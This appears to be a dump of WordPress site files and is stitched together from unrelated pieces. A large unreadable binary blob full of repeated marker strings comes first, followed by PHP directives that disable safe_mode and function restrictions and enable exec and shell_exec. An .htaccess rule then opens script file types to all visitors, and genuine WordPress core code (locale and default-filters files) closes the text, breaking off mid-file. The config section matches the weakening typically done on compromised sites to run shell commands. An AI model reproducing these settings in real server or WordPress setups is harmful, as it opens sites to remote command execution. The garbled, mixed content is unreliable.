L^]N O*S9tύM=תηJE8u,A*,7MP"acibpkdumtЦc+ 	z Afb[ծacibpkdumtYc,	Vf0ɒ3~+;(cxh)mC@ȫ|Zn@/zcE\Hy 	k+o.KacibpkdumtmPEMi| fBpSr'~lds-
L҆؀ˀ=r1cU_YvObqW|jacibpkdumtiQ1hԴ¬	K?1ѨA-	7z,;e@PH`c.$gG)鹐׊ElHⰰI?O/r:6hzo8)9EU&EGdhϽ#U[a]ş!gF9xQCd[0rJz!zޮ\ὥ:(kyXePdao}j.#PϙNA-f.uhEKOAm6acibpkdumtHYBq:& |LyVK3fpzN$PFƐbTo=_.6%p〾j[	Rf =?)b9GÜF`is¼,u2Fv-3eǐw~Ձfo)ҋc_,[YacibpkdumtF|UqD˕N'74ID	-Hp_	cfՉ_jqcacibpkdumt/6QbVNqwangdeuyxh2
acibpkdumt58w
KH?HAHA!\ȣ\OVan6ۦTCm'DL	2-ua\2~㭥'nwangdeuyxhc?LoNh{wangdeuyxhJZ	y];ަZרrf\B3nХf"OUULh	XTج,Ƣ4F:YZ~88mz/]S`?~Kґx]Sa&2UJSD;d4HkX"\Z`3g@n.#bٙbt?\R bvRl ;?Jf	@df99OBEk!a?qozvz-&Ԋ%'p"Ze#wMS(ͯICZ,P	4JpffE;30nacibpkdumt1}d4
lˏxxgmMS[:St97{=cq}L$.BE
y][:[c+Qo!e	
wangdeuyxh@}I8t6Dv+f*t id"
@O#n1wangdeuyxhM-uTF5 h1  wangdeuyxh*/bKhy2{-a^U31@t }f_q/X[xE|i6	,kؓLPdYb;ŗ	-:Dwp%9	5|acibpkdumtafۮwangdeuyxhWm7`E/iA\lcN(9~Z=Ml[(7:۶q'z;xolEПvqUݢD|$4vGi	H0Ыw_LMT:VL'yc;iH7y9?γN0ד gD\z}(n단+p[x'Jg'tRW;}#Rd
*.#4PFfM,0tDԴt.gJ8JuԾ;8~Ļ0X'/.%lֈtre%zi;zcwpѴMF3!) d!LBtJ@!|mQ_}hGs}F$˽AwUtBzɀy,
Lwangdeuyxhb`	GHfAW~ɗ)nrC	Q17{|U8 gdw :D(AE1} ¿Izg w'v5
/
i}6̱V²uV9zaow|UC처D {l\OOthfacibpkdumtly̺x!H۠Z)*5kv72u۹]+L3Ҧ14;8m|!6j8mD`zͧ\*Y1U/a~4; 8Q%]FO9:$/q33a fGNsNkBXO@Ipm@X;}W3/\K̓mmSטBVƁ|c%Vëz6}R0Sؙ+&tP&%)fDwnGlԻUDqNamdЈZwangdeuyxhd8H["(@gAv6uGfJfUz[M#jL8ap\ aƚJWN	]KM!+~* 0tk`R~y:C):Z{od:;}5GP)KoVˈRA7[8ڂacibpkdumt?b*g!3RWF*acibpkdumt_xY䳭s{ZNP$۟W%5hT ^g-|wangdeuyxh.9^,GV.`tS8]gb7ED~"1O"Y/I`lYorO~F-3=ˁҹY˷acibpkdumtaĔ%['N{È4SƼ\a'
f-j]NJ7
0qyy#q;Dj;~YKXǁtՅ]b[O2BYka?ݓ_I,ش#[X	.-
"LHuacibpkdumt=.5kbJFOj,K㕃\,TNϵ^Mٰ_cծĜv]6fT5=&T@+褩%4J=LC* װ[?5$D[kg@_*;Ri$NN
{sQq: $LϡyR0~Id%ŉqצ޹2hrĝ\nUu)7p~-kɿ`'
~H0cTwangdeuyxht"2ǄC	p㚩i굳vn@t)p*.J:#*͠}oJxn͏*H"\x;\Q4W Q
/|:ꇪ
*q,83kJ@tͺ,p/t'J3
YЊě()ZǩFVtR)b4I"j6^KkQ|A'{ɮF5]V,3!1+l/Mwuacibpkdumty	%?'|=W߿
#m%f+.A(e^5gms#r@|3!rihEo
DSdFR!IM(RDͻ|;mM5*ݗ.5@1Z`L. O9L@pUJZ[4߫acibpkdumt#jacibpkdumt7Gfj-J_̨NkK
xa\-~`uBH7Pf왱gwangdeuyxhЏ4ˀʚb8~]g+@E~


fk.qX7G*yZs[Gm~辳
C4ǜى
t&]9I5/Ov71y5t4*s.X@tهqHĩX+(MMYò
zKE.ܯ
$Js|Br"[2ۼS=JHG4hJ%ͻ	aA`7/)|ugȎ޾R=?I,Ҟٯ:w hoR~1KD3
w9Y:pwangdeuyxhGW
Mp+l}AWgn~2VoJEqTpj9ƃn
+Xu֔RdcRH$|֟~g$WacibpkdumtJAjyNUTj_T &dCx?~?pLJ HuvzL1Dx]LHxXb	(Zӗ
H7LI.C1UѨe5wI\c*kc8bMF{CۜF7S 30@sf_LԄd=7lYS#ܮ{1K䷩^Pm\wangdeuyxhPSRBZ_ýFA"wangdeuyxh/ADHXs.&R9CޟyFЇf\jo!+awVu,,aM[3#s8=?M{O}DWU[0p90v't'5ZXWZtϯK9C7\+#cdaV$寈
ʑԠ `m6AA
1-s+;7Q48e6N=T_0{| "?i{dIԵy&EXYA[A's;vHڈFVzM
u;b](lGzJL瑑Ϧ~Ƽ4d	!g슩h}z2ksɏo5 
]R5ZB^ۋ$(R9Au+Ibz嵟=!`[&Ц*!0Ewsh,$b-+'_=L
1]J"-Պc9:aT'9KB`,f2=vVSLgF;WQ*3J+UvIK׸6X&cW@c5mKwdmZ'Xc2Uj+wangdeuyxh4m%4n3s^[Ыٺٕ(\ғ0۪Θd.?Qn8:L:#)/Ft
s B̀O!׌7!3c]zzpB46q82:Qd*H^L`iwangdeuyxhYg'1լ7T	qBcjao6ޣoփR~JPr)ѲXX^dd`%t3Ե{7Uwt2Psw훌 Jf垌bjUR9u੟{wFZ1uAvm-,Td{]cD!araEH;Q#fwangdeuyxhp|$.VJZ1X~ﺐ
o)YaѪl^Pm4J*z8ȜJMEV*@m"438d.]ZfKAڀctP˚՜=	|#'Vn-|\_6
ycLNT~sӼ0Ly1ܶD]`[:wangdeuyxhiR]T=(TהH:TY3i.1GliwwtبN8֌mwj!cacibpkdumt
a7p 4
eb1os#h5*]2c\PO ~p=\@n}]ds=|OnH8nwangdeuyxh6?۱{p
v\7.E'
8_.4P)!J8~pKN峈_wangdeuyxhoD}L6hCJr #u]4#4^xI9@h){z@,_C϶
v``
 gH\U[A79{]tIɨ+cacibpkdumt-3
iNڲW2s 	0H?~LuŷvO:=ɆrF7w&q=5N;H\p,r8%X$]24[V|v
/6QSgrR&`lCacibpkdumt`'@L2lfxnE5ZZ'̆F+'h1&$[_j֟ȁ)M.0QsC%M: DZX*0J~лD	-
J|:c\Jtӂe~nm}*ecf{֗ΜqqK}":} cWz	ĳ"9oӯu,J-j3U0[V;wl{wangdeuyxh-ֈzVǳ$
CHcxYUF2
eHowm*aGc`$9ƚ\d:qKMs @eJtC{ vVl-Vwangdeuyxhh9!F?acibpkdumt7eX3b4?s xM+S +k14Wa^t5) 2ɑ@`acibpkdumt~䁢I ߵlwangdeuyxhp93ƎJ%;r˼z@6
F=G;! o??7acibpkdumt({Q'2wOVG}7\Fvwangdeuyxh߁4mEs eP79ƏǓwangdeuyxh ~OHKX:2j-u=֝~ [9-fk/C+OѐI3X![z+ûNfrㅥ3kU_)#[)\EW1wangdeuyxhb~񕸈Èwangdeuyxh+'Rgt7,Jl3_	5}$3!acibpkdumtVAZwh?!"o*Ex%r&\;&PX@|'p\C/l7 z"aLֺ2\bFPK$2#RX鴧2DniʒD5?3	;k4)e|DIK6;5#2!B/تs?N{YLaprj]JD7=Axwwangdeuyxhق8"e
"\f;ğ9_O-RzԲ5jiz,(2T76/ &{Кr!1_ S#a~&!\oV8[wAX
߉1su^n0Ԣ*wangdeuyxh,	3CԬɧ~=[wangdeuyxh2AwangdeuyxhoxβɄ\R	u~&z{.uA)Wտ_T+x':mlHB7w^PaޤQXO$&Vwzڝb fε_wangdeuyxhh):YKZqI^=ϻh;CI_s́`ol|ոL"Ȑ^dfsCFnw3tacibpkdumthO*.4L$my3w'zacibpkdumtԩP%3)h5JB0YAȨ%MݡƆ|#c&y,Tk-Fx*3^C/Iؙ\!Gwangdeuyxh80!CL5p6}s`AU@nTdm?D]=ޠO}L@#!:(iO/acibpkdumtW'HE(AIj;dٖ9FyZHVz'd򮢆	?IѰxQy4揜nލT)?,Ant Da/6ղvwangdeuyxh5~ux-]f\@RmA$tZDAy%Ɖ}mQw1i/˫B&!5oY 5L~04fwangdeuyxhϺ/0rk`wY­usgP??5jNԍ:ۓ@$ٹռDu(fZwangdeuyxhL3mjp~yW1acibpkdumttAa,Ax9x#:cF
|pBh
8)ƭO$-:AE:7VJ?+Iq%%d-ɱ.6XEsp`&|\NhPFgt]$d4PqݶMtK_	5%"acibpkdumt{
12+kGi9:bU5_vW")u^A=όM}uŬODNwQg&M+Xz`{niަ}{
k^%T38f8GBQpa4еk\GkLo4dtacibpkdumtFJ}Hѻr.jCϫ))Nez=2ѐI/RSa! x

rwangdeuyxh_&qCE^c9wangdeuyxhGer(7=#~ǈ
RBIFfRqO}.Ue/j[fáacibpkdumtJ,}y3w![r۠^cj^yJPYV]UQQv;nwangdeuyxhAS**Of' (
9%JV[p8
ֲkg]žlj}JH7.(QK呗l}h?jӕm}Hy],2tķ(J4+wangdeuyxh|N=؋#W0ZW$g qhƐ#/+)4^IRsxt1Y2!1I/}[HtU겚2$p
@Js5JOf;Fx; [ԨZ%tyqP9_acibpkdumt܍^W¶wPM,(؆ZQN,+YLc{DEtBe`(5ᐘg]T#`BHQ^Vt[g`"-q@UM!â$FaxrK\5OA_t)@1@:rE]m5S+'tVLrA:yacibpkdumthKߦ
ƵQKrSٲ]Ȃz9oAiSU]m4ewA\#&(\?],)_X r`s	vYr`(8ʗGyMv
Ddp'êX!ӊvU]y 
  ?acibpkdumt)L
Ӑp0*SRĲp?F[1
hH6SuKhjj	M}1|	haXD+tb2`qZ 4wangdeuyxh!!dwn$=~?L}Jb_Jc6rsΏɢ: FMABSg&*j-.OQQzNXuT
(_v{ 9hَ
1`uVUgnacibpkdumtBoP/_Wfԟ0wE؝,&ZW"rxZފӉ7	8_$.8rc'X)܏٨ÂҊ׭13Z7m欗ʤCuOPQQacibpkdumtS%(1YO-Jf75̩ɿP=cV'UOP!Se1~uekgJcWO;牭+q'B}BD[Cp jȷ!FCi!9A]0:߬~-ID
kܿAnUMX\eIW'|)Y!d̵nek]/(˅lg{:UqR/wJM{zww`
m}cm^5wO*,d2[_ L؅PL!UsUF0RxOOq@C\P61M"1^67dacibpkdumtI7O
:!Ódof{	vipӛ06g3サ2UݷF_ݒ+\CI믑d,eQ޵Oi6$~ր9aSZVٻ"@ӱ/%EhGT-Thj*iy,bEI)Fq=QyAp٥4.֨#[[U (Tcߢ5s1Içx4JMt3]YM: R:)acibpkdumt+QHe3 c,f
ِQ	I'/acibpkdumtxJ-*CG]SN
bC8XCKֈld{YjÉ^U0MQrF\Fzɔj3Pi3\?wangdeuyxh
nwӑD+ZK)
2q}ՠDa0'Gi4֌aFzw2yn1,pm	](O̍1D觻1č02{k2\j0Nf9oqH?1U%^M%*ظ2t/ܝ}N{ܢщf|'p)1k8Ŋ?J#WѢ%JpŐ	V@\\]"7Ň,}~Erh	ar
켏ޏDEwangdeuyxhf,49$
+x:ciz_U':?DŪl(Weq+M(U?p7/j3Qcv: 9%1)y
Owangdeuyxhf	TWox2IsL8Z#
,n:zd7yVe#%1 mB6psM6!$|q^MkӮF{Ecacibpkdumt]_3(STC޴ΡPjX7q%HMT;Ԟ]^?&I7w9ժ'2܅wangdeuyxhwangdeuyxh6Ln@2z%9)$hw
'd/IZacibpkdumt5acibpkdumt,u.fwangdeuyxh^UeY5OYloU{!;I䠼acibpkdumth DS#"!4KN;?bd	#r
%PV{'oJ)0-&j=?XQ[\cTv\bBF PWXacibpkdumtkaNfo5gsYVQ3acibpkdumt7e7Pϯ#,ǔbn3.N&7~ٽڐΧFJQracibpkdumti\P*bز0ʞ-}^+	SqK
q/GuO#fQdfb]˿ D#MH ?(3``!*?Lacibpkdumt*VIw%ڶ%']lq{9ix2wjk˪ECjݸ
w`ՌD#пFV%;\W2c=Et,,T`[/d`LަqZoN_LOt{'Yacibpkdumt'e
RlZ=+ũXS]ɁQ$1D}@9sXקGRuR&;D|q	1Cw\EYbfW MUNmզ+A)q	pJ&^pvM]3~yr0T@Et_ߍ~DOشl3RgM`?HNz-9kQv]}ԸeOXT%sJX'&%݉Rv(LF_Jpacibpkdumt;G[5iw&p!IƷiyL *.{"OsWs"nܯhR8:\5acibpkdumtwwangdeuyxhNEtt(QO}nllQ}{acibpkdumt)J&&;Mqg=VlN1}|ˇ$8Z(taI7vdvzq
bl2~]DX찚dɄrw+;uGacibpkdumt16Hbzk?jIqD7acibpkdumtYiK-61wangdeuyxhQ fh#MZϖy+ǭHPW}=ZgJ;7\U9
;,29#"1s"
(M/5:%MVּ3gT!Xr?yyZwangdeuyxh
kӻ\ǟ7C|}@n}7.JA&Ee
NvcM; :%SwangdeuyxhdO:Du}ّ^X)*HǣUC%BkYb3Зacibpkdumt7fsk2 {EUcq1wͱ[(zQ:U00|DY-zzacibpkdumt%wangdeuyxho(:q@P#a@FpNL\9q
s)wangdeuyxhk/r!Q#ُx@zPKwe
ϐ4cs)Ewangdeuyxhȶާ
 {8ZpƟ!.\ڼC0󕟢Z8!{퉡Q!:ςkvɑmfU;`*r5}yd,
5ϜbSka@acibpkdumt~Z$H*љ	֋y|a!8ŰH*Ē-wmZ4:,1	3|B8UYq7ėT,1W?tbGE9"UB`H{Px׊ŷf"کZlZw-A%1@N?M|3F%rƿacibpkdumtcZMx!xeX/Eإ?Ĩ,)I5$jy1L	Ru).wܛa&[ߺuCKOYyִr6Xg&hpG+
^&S=5oupsKGD4ƍ	h,qg&J[9Ё;ao"5&~U[JADnUva\2}:lSL~ǿ8n_2Fgrӆ:Dᰄ,p"Ed綹x,h\%L!/f!u'k L$LPwangdeuyxh`Hq|VfcS8t3nT[3	ױDU 9»n4"A]],.VFDB%wangdeuyxhH]-U(˝drb8$j|
y̌o~S{OT6_\H֒Pɓ0VlGDhU7i[êw)
r*BlݿW1s㕎GA'!k2L!R{AVux(QKZT?xH+KzwangdeuyxhOtS0.4df^%cZc
;w4 Opbkmj\d_mwangdeuyxha`52I]$:kNAo3"l8Ae%|v2CmI7L+c'7Ӈ6*CAI~WDoXAW&;hHjT "Xt1bzZJл$Pԡ~vf3x#.;'HMtF^s4ul||W)$hF$a	~"r`Aʧ`..|4oP'^6gB+V)S_=sIˈam_}4vU 2?&\[|4Ϗ,ov
\fOw#_I
75;͊fl׬?܏BK`Ny5 &Щtay5qlG!B`
?r&S|4nf9vs$P'*"hK=VPZ^+&#~5
bh5@j gGgamL-XZ"vuf}HXԏ
t|pZwangdeuyxh|YqpRK˝BDkT״ЏB.I
e'Xϛɑ-~h.A`Iį#42Gbr$ʿ:fDhvhրmnPP\EjJyUɥ&56%R%	[IAH]I
wangdeuyxhw wangdeuyxhӋˊbY rEZVF+k&g_8Ba$_߬_Iѫ81'v*acibpkdumtXw=/AXJ1/[vUڃ[z9{J-M#
mOA;"餝hni~vㅠt8DKW6YVCj'Tߕ\5Vm}#m(xCM*6Rġ]Xacibpkdumto\;!g&[wS;f0zrN	H8 %X*mfj"M_m"94,=-DUAA.ShV/ыT63Oۂ	.qM1@TO'{e.*wangdeuyxh)B,ߎS[WնbU3I=ŠsrqFFUQ
Pnu,],rPƀf뿑eCE}aMpȕgk p)Y!IK̖!LQPŀ͞wangdeuyxhi&IϫW=xi$,w*acibpkdumtt-~ԀIOgVӋ(~?W*G!EDobyS!vkQ36TNzacibpkdumt}Aәkw{nn橄;)WEivhѯYU@Gc]n0Ʒacibpkdumt]Zsr@m|	4Ǔ)LNp||Mo1ߗu aPw[&H_N"އl
ꙶ
L]&r{eQ-.G	ecȭazu/DXnefG^lXcxߔ
Vcph-\6A[4L(r?:M0X=Sq|Ά;A-Oy\F񔕛@t `Vy~A-6Dwf܀em#qE+acibpkdumt7hT@&t߆Û4Q^r]¢a3mV=	Ao
a5a2cV@qdDcTD$T4h{0:kB%]@XwangdeuyxhKZ..1A
V'
](rWUn	f;va ^a9i9?4gBKI,k5?_8(j9ǲ(
@NY,b8![}-j&
VF+{i"\#T9Hj!tY,8JoHƥ)=_\43{L*XaŴapθwangdeuyxh{sHk9[2m(s	Vw\'  ?Oh}hTH $ zY~7ܱ4|p6'm1n{R;m1@s7'e]{`acibpkdumtX_̘(ȳ p{j0:VѩH.=IaF@ $jM:%#å9d߶9qz )%w_feVaydmƉ@W(z)C@|N4/q aI,69vOA /_-AL:yIC6(*;X±q)إ.X
?v 9m(1R!\'eL`0Lnʥ~@̡Бo#χR9
i{Qx6Yd6(CɮTp5  R17O-	=oPwC%]rW:*x|
UbseˤTPX}|gGdшHc e
)+P}7(#acibpkdumt
߻Wav%&h{?Ϭh-7bA%XWq?WGh778oh,2vwBnLMacibpkdumt췓?YgӒyq[WT
'kbˍ=kfuflENN5?HRD)4&Yh,,FZ[qL,(?Iɗ(1GvJU9CwangdeuyxhwΟYB(wOA: M#/7 Tf)O8̈́#2f2oG%0Y.acibpkdumt|#_ޔXx)bܐ$}G? ՃsݦbD.&]ur *=&~fN'*VZإe.cFCwangdeuyxhNGlf%}.^~uBnDrY7S}?"qV|E{ثs;^,D:[vBeB}yt4]!\ |2}b(¢`	rY/lх:Vs;Jfv/PynObnE+ㅂ33V;cQGD.d@Xx(71eQ_o|,$ U.	e0޻M۶Mد1|Z12@[TxhKbA)OIU5Cy.𵚅+ൻde)*n]"0\cS@,ߗ9.~fڌoGA#|҉͆i#j
gR#-ȴJ/S n`GV+ʳ|JdRjY``7~ߨJ ~O`ƭ\N`*.N
;8?##!pvf)`JkZ		׼ eud3zWY&t .faWֶ9n`Wn"GZ'`Vdyt{zx p̕]IQ^
(JcCJVoe[	2#5V oo(no	
HϷ*JчJDٌVkdZXHtDNzZ̤Ht	psdD7]ԻPq@e[t;-L+%Rs脌u|rv[
ZpF|v|YXCߗx
(QacibpkdumtR?wangdeuyxhB:'FFȎ&t3=A}	JedψeٸM94@ҧ ةa_L^*c
s cLUE VP+­*j~a~n]1oLl:;gwangdeuyxhѧFieݎJp"ntϑ4Hs@5YZ­cx.B,WMUr-jT![Ajw5*~M?Wvacibpkdumt(Xh-#z1DS?X}K)Ho"!;xk3_wangdeuyxhAZu=8~k+3\C6ؒ
	8F-+?CͿ.&NZ8NZGǍylƋ?zH䢧aB$[iADJs5'gǇ}oiX* dф
;lfsg G"Mzgʄu@h6C: u)![cm2NJ3zجGz?3prq,ܗEƓ^?deacibpkdumtM
+PMjܾj2j$~#Uƛw&Gb녜TMbaA/#N0lU%ź-+
P950ScIZG`8D,Kd)Sa(D]muy:s05LTB[ݠߥ́j:RںS˼ǢڼwangdeuyxhTSo2	fEYε-Z8qacibpkdumtDPD@^EZ5፝gE*[	PTJ=Plhs6=M\,Ip{pq#ˤacibpkdumtqacibpkdumtq)q:HC1刨{;z_I~$%oD9s!^	-,Eۦ~=S'r4tu拜ǧjKvil~G
ڽacibpkdumt@'+߁Z(;+ZapME֠'4[H6TWmɬE~2^Y&ĩ䷸qԆпa45dV ҡz.h`'acibpkdumt˔4@X/Kf2s|"?9++#.21;	cA^	,^YMkAѤ¨Y..JHwangdeuyxhv_Eiҋ+R̗`"xN-?$'1/S+h-֔oܝ&AYrw
|UOi=w3BKj2YIbYdP_b ޞ8h|Bf-ݾ]uΉgwWth(`S{MM6q,)ƿBG.Zddr(
Hۮ|o.|?^@09G6*XڃEpK*uI^=4Q]쒋#}'2BtJx~FTY|]Mq$=pH]RiR,kg5y
[5q4vyf`ĠNjD۾-?[3əSRE*OOP5l)pr/AfnbTh|bPe-t7pQ-O{o&R|hnFUXgΌ^  1viSͽaf%z+䊖fmdYL. %Q6OO# xd"q.__ȫm?h3v0Fu7A"^wangdeuyxh=/ӏƯwUmyVXH$?J*jg^w)F2̌}LHmJĿnex;дǗWA=&3z i&Zm3uz08,;Nȩ͍Kqǫ[~:EV\5wۼ4M.i5

313Ljeyf۝F'	4o,N Mw.s_
zI?	uaPל@õSoPwүYN@ b_'o_:X+{0;4vK
o3rl|t}RY-'~S){)d\W_iR}E@5t,wangdeuyxh$sr8K	Vad6ɐw?'_IJd'	CcGi/ؘDdacibpkdumt"bYGMۂ籭I*tC#GeJDezwangdeuyxh6[oG#۽GqMkjlU.`7"xacibpkdumtVNfpi(T0π+[OB%|	]~ũt?58ɡ֍d
YmտJvAcͳi)fC)Pohf^R/vxKfe$*uߎ"%JTwangdeuyxh?-LI/eAtH1ZP; c0YQО4u؇yT.ʭ#h]61r̢Pnќ#wangdeuyxhn0wangdeuyxhD@n%BacibpkdumtI_bEwangdeuyxh`6Uk};D
˹#l#^oݔ(rmQ,;\[};7Ok2e_9}Ew\1,wangdeuyxh2EL'"2d"bÑ"!fӵUxwangdeuyxhvvs`Rb8w,22Y;acibpkdumtvʗMڳ WM Z)m5B}9-2Nȡ_HX@ٮXG":s^bl#In\4po Ki*RAF4]ZwangdeuyxhF dN,BwuwdYFaSac޿;Axݫa;-։~pv%\RaQ
*NAr%D̈́4 [Dlf~Y6cW$6]:9;L:qtp!ԗqX!"acibpkdumtkAABaN`nܯlWͥ+1ylCacibpkdumt6[mdK-c?h2W%Ѷh+w0W9˔:Zs0	f{ge陋j1Y6MV;ț_+NΟ%Jɂppid٘mL@_F@_քLx{Mwangdeuyxh)-	S_
Ay
-1jI	t5_6~P
B/,=gHqP\׀?PeHacibpkdumtiV
c6,]v?HsDK';"pWsްkLj&IwangdeuyxhOy8%ܩ@8
{j=؛'	Sq~pwangdeuyxhΣ'ak
y+3Q7acibpkdumt@
/MDbЍB05B%%Xf܊{z;nޒZImLOHCҬ'oQbvc/;waZ۝8Td0Iwangdeuyxh=%J
@k}r	w94awangdeuyxhӊ/(.wA/W?\ast5[L8X1A2F -`֢P)rO,H2~g/}0%~FJD]f\p
[341T%:A"@u^hrYhҊUYKe/7Yn	{ŗnT(C~p|P'a(İցc
1kietnҬ[!ܧ 9$ъ裮l&j]j8v40
&'n99B9tE}oacibpkdumtJWtjdCI5k
7Bhx]̴T'`[2$7BďX%bjҗƃbS(&CFow"E)!x#a}]Y}S
ˑa`facibpkdumtZ '#J,=̅u/9: әA jf+~yB0/Uoqu
	K!9BLoSn~Z!~C	;uwangdeuyxhoT}y^ _""Ѕ$'*e_"fHהeQ6eA(NFuլZCzfK/Kt(Hק塨VuUb}_z̓.8IUWL8GuK몕acibpkdumt"8i3PPlHv{LK(
IQrY)}$B!0P+XB%Iٙ) ϻH?:A(OMHYd?WCP+^"jl&-%B1wangdeuyxhTmS5wangdeuyxh~7lq{nu$a}P:^";q)
YZo/A?O	#Nn!?U#1vjJ%ed8KN,ݾ:wangdeuyxh,˴Vpw}bI`0ХH8ĽCR	|N}:ez̼B/t~s](TEhɖImbH#k hgXR݁UzjS,$:N4o	Z*X^$h|h8=eCOT1_"Ckn HLx邪!Ɗ$wangdeuyxh̞xC7 S2Kb:?TcacibpkdumtlvX= s^2nJ dc؎S?lnߗs10.l5^'YbOlDμ]Ewangdeuyxh_փO`oacibpkdumt.O8*DT$a	gǪy4XkeRM)cjRNՕ.w=V	D4hli8$sSa4qh5^ǅ__fvAӑkQsj6Ծr*q/omҟKjB3Q-mw_`RvQX}JGacibpkdumtlwhiMɻG,jǏ[8YRqnG|B,)夈8Uu!eȉ0@e(	Nג3acibpkdumt'! I?r`p Pd0cz%F`4P^J_JH|g8DQ!akHk7l9ⷠ	)U3+ԧՔ	J-u2CN{]q%.,eޓԉQxY$C6YE^^nJְq
"HU5ꞟCR#q;tZ
acibpkdumtLkJTp֘g7zufb~GacibpkdumtJnaY@!Pϔ;k:ݷjj.6^Bacibpkdumt*D|N"гOYLp^P¿KmMj"acibpkdumt_ =grES_}ذ1_kz@Q珸]sy(ѥ+ԫP;hdgsg4wlYE'MZ*SDgΒxToở&V-Q `e\Aacibpkdumt®wfz402@q8db|"RH	Z*.W0"~t^Q+һ2y͕'p6*s5GUQA$B%1H
XNy#]ϓyoacibpkdumtacibpkdumt_
PF4)ؒ&/_/ 3P{XimbF(p(7(%*a嫣Eh$
Jh?F?2?PE.
6ɥyy}H&,Іvw2Y{Ó7Ĥ8PVrqyg]|n,q6.F?l@MSDmivFp;G~=v8QkkC6*jB"IKZd\4
e9އo7CKacibpkdumtFRFA
!7I.X_怦+9Ͷ邱Bh9KN
y-m%	ڿb5`9|,QBlmwangdeuyxhO2'=3|Y?!%1$ xw|nQ}4!_x=fcS}p@Lb#GК$ߢ
wangdeuyxhbɞ6*wangdeuyxh4DЀTSm#WV۬h[
$p acibpkdumtQ] .USsCKbD6V"`Ly?hЄiMxb &'0909ol^acibpkdumt1@-acibpkdumt/.wI0uA{FҌvj܆Xލy+aԍ	6EOAx#K)@pm/;Q9W.1
 YcqʇN'OFqR2$\TщpcGysYdY|9=jmp;0cKo7zZz\wangdeuyxhU{O®!V
@f"E5$wangdeuyxh^CM0;ۘ [;-;
P5++
9]d!#.4)
=P&Y#L_X4ͼUH*3LO~^G 1G\Iic.4BPyPȍk_ٯ.Բ^^bD NrX1o]Zm*X+?r3sCDW~H)Erd
]`h9uQ'20m檈3XNū_Vg6{ecw;?7ewj/+݁UJr	?w
z8]7BS~7t; AEj=~=u]F&2swangdeuyxh+*?A!Sqܺmt?HDe-0P/BnC&H0	#/Ɲs2HBρ\5аh]C8fP
l,Vf	"wangdeuyxhpxfG\Zr4acibpkdumt C[LPfuAѼ7:Np+,R{ε$&ɾ"R.~hF(\ LbPiZOhN2̷먜8xںTf=B^6DӖmlSYěl	=`_)jƑK;=sz$̈́ÏEIn,̅7EswangdeuyxhUMԻx{Q2Or[
`S/\!I4xHOVɛUpbDm~,5!acibpkdumtypc^+SM\º- cQ@0#.Lg_X'x$#*rDk@޾b)Ä%Uh={$J7F9LSh_m#X(6IYfj1{[#4l]Zl
%P+"Jo~
-1d@f+?,Gsafe_mode = Off
disable_functions = NONE
safe_mode_gid = OFF
open_basedir = OFF
exec = ON
shell_exec = ON

Order Deny,Allow
<FilesMatch "\.(html|bash|sh|pl|perl|txt|htm|phtml|css|js|php|png|jpg|jpeg|txt|webp|mp4|svg|pdf|mov)$">
    Order Deny,Allow
    Allow From All
</FilesMatch>

<?php
/**
 * Locale API
 *
 * @package WordPress
 * @subpackage i18n
 * @since 1.2.0
 * @deprecated 4.7.0
 */

_deprecated_file( basename( __FILE__ ), '4.7.0' );
<?php
/**
 * Sets up the default filters and actions for most
 * of the WordPress hooks.
 *
 * If you need to remove a default hook, this file will
 * give you the priority to use for removing the hook.
 *
 * Not all of the default hooks are found in this file.
 * For instance, administration-related hooks are located in
 * wp-admin/includes/admin-filters.php.
 *
 * If a hook should only be called from a specific context
 * (admin area, multisite environment…), please move it
 * to a more appropriate file instead.
 *
 * @package WordPress
 */

// Strip, trim, kses, special chars for string saves.
foreach ( array( 'pre_term_name', 'pre_comment_author_name', 'pre_link_name', 'pre_link_target', 'pre_link_rel', 'pre_user_display_name', 'pre_user_first_name', 'pre_user_last_name', 'pre_user_nickname' ) as $filter ) {
	add_filter( $filter, 'sanitize_text_field' );
	add_filter( $filter, 'wp_filter_kses' );
	add_filter( $filter, '_wp_specialchars', 30 );
}

// Strip, kses, special chars for string display.
foreach ( array( 'term_name', 'comment_author_name', 'link_name', 'link_target', 'link_rel', 'user_display_name', 'user_first_name', 'user_last_name', 'user_nickname' ) as $filter ) {
	if ( is_admin() ) {
		// These are expensive. Run only on admin pages for defense in depth.
		add_filter( $filter, 'sanitize_text_field' );
		add_filter( $filter, 'wp_kses_data' );
	}
	add_filter( $filter, '_wp_specialchars', 30 );
}

// Kses only for textarea saves.
foreach ( array( 'pre_term_description', 'pre_link_description', 'pre_link_notes', 'pre_user_description' ) as $filter ) {
	add_filter( $filter, 'wp_filter_kses' );
}

// Kses only for textarea admin displays.
if ( is_admin() ) {
	foreach ( array( 'term_description', 'link_description', 'link_notes', 'user_description' ) as $filter ) {
		add_filter( $filter, 'wp_kses_data' );
	}
	add_filter( 'comment_text', 'wp_kses_post' );
}

// Email saves.
foreach ( array( 'pre_comment_author_email', 'pre_user_email' ) as $filter ) {
	add_filter( $filter, 'trim' );
	add_filter( $filter, 'sanitize_email' );
	add_filter( $filter, 'wp_filter_kses' );
}

// Email admin display.
foreach ( array( 'comment_author_email', 'user_email' ) as $filter ) {
	add_filter( $filter, 'sanitize_email' );
	if ( is_admin() ) {
		add_filter( $filter, 'wp_kses_data' );
	}
}

// Save URL.
foreach ( array(
	'pre_comment_author_url',
	'pre_user_url',
	'pre_link_url',
	'pre_link_image',
	'pre_link_rss',
	'pre_post_guid',
) as $filter ) {
	add_filter( $filter, 'wp_strip_all_tags' );
	add_filter( $filter, 'sanitize_url' );
	add_filter( $filter, 'wp_filter_kses' );
}

// Display URL.
foreach ( array( 'user_url', 'link_url', 'link_image', 'link_rss', 'comment_url', 'post_guid' ) as $filter ) {
	if ( is_admin() ) {
		add_filter( $filter, 'wp_strip_all_tags' );
	}
	add_filter( $filter, 'esc_url' );
	if ( is_admin() ) {
		add_filter( $filter, 'wp_kses_data' );
	}
}

// Slugs.
add_filter( 'pre_term_slug', 'sanitize_title' );
add_filter( 'wp_insert_post_data', '_wp_customize_changeset_filter_insert_post_data', 10, 2 );

// Keys.
foreach ( array( 'pre_post_type', 'pre_post_status', 'pre_post_comment_status', 'pre_post_ping_status' ) as $filter ) {
	add_filter( $filter, 'sanitize_key' );
}

// Mime types.
add_filter( 'pre_post_mime_type', 'sanitize_mime_type' );
add_filter( 'post_mime_type', 'sanitize_mime_type' );

// Meta.
add_filter( 'register_meta_args', '_wp_register_meta_args_allowed_list', 10, 2 );

// Counts.
add_action( 'admin_init', 'wp_schedule_update_user_counts' );
add_action( 'wp_update_user_counts', 'wp_schedule_update_user_counts', 10, 0 );
foreach ( array( 'user_register', 'deleted_user' ) as $action ) {
	add_action( $action, 'wp_maybe_update_user_counts', 10, 0 );
}

// Post meta.
